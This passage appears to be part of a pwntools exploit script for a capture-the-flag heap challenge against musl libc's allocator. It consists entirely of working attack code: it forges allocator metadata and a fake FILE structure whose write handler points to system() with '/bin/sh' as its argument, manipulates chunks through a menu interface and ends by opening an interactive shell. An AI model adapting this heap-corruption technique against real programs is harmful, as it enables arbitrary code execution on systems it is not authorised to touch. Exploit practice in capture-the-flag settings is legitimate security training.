fake_chunk += p64(0)

fake_file = ""
fake_file = '/bin/sh\x00'  # flags
fake_file += p64(0) * 2  # rpos, rend
fake_file += p64(0)  # (*close)(FILE *);
fake_file += p64(0) + p64(1)  # wend, wpos
fake_file += p64(0)
fake_file += p64(0)  # wbase
fake_file += p64(0)  # (*read)(FILE *, unsigned char *, size_t)
system = libc_base + 0x50a90
fake_file += p64(system)  # (*write)(FILE *, const unsigned char *, size_t)

fake_meta = p64(0xDEADBEEF13377331)
fake_meta += p64(0)
fake_meta += fake_chunk
fake_meta += '\x00' * 0x100
fake_meta += fake_file
fake_meta = fake_meta.ljust(0x1000 - 0x20, '\x00')  # padding
fake_meta += p64(secret) + p64(0)
fake_meta += p64(ofl_head - 0x8)  # prev
fake_meta += p64(libc_base + 0xb7070)  # next
fake_meta += p64(fake_chunk_addr)  # mem
fake_meta += p32(0) + p32(0)  # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)
fake_meta += '\n'

add(0, 0x2000, fake_meta)
add(1, 0x38, "A" * 0x30 + '\n')
add(2, 0x38, "B" * 0x30 + '\n')
add(3, 0x38, "C" * 0x30 + '\n')
clear()
# all cleared

add(0, 0x38, "B" * 0x30 + '\n')
add(1, 0xC, "D" * 0x3 + '\n')
clear()

add(0, 0x38, "A" * 0x30 + '\n')
add(0, 0x38, "E" * 0x30 + '\n')
add(1, 0xC, "F" * 0x3 + '\n')

fake_user = ""
fake_user += p64(0)
fake_user += p64(fake_chunk_addr + 0x10)
fake_user += p64(0xC)
fake_user += p64(1)
fake_user = fake_user.ljust(0x37, '\x00') + '\n'
add(1, 0x38, fake_user)
delete(0)

clear()

add(0, 0x300, fake_file.ljust(0x200, '\x00') + '\n')

# gdb.attach(sh)
sh.sendlineafter(": ", '5')

sh.interactive()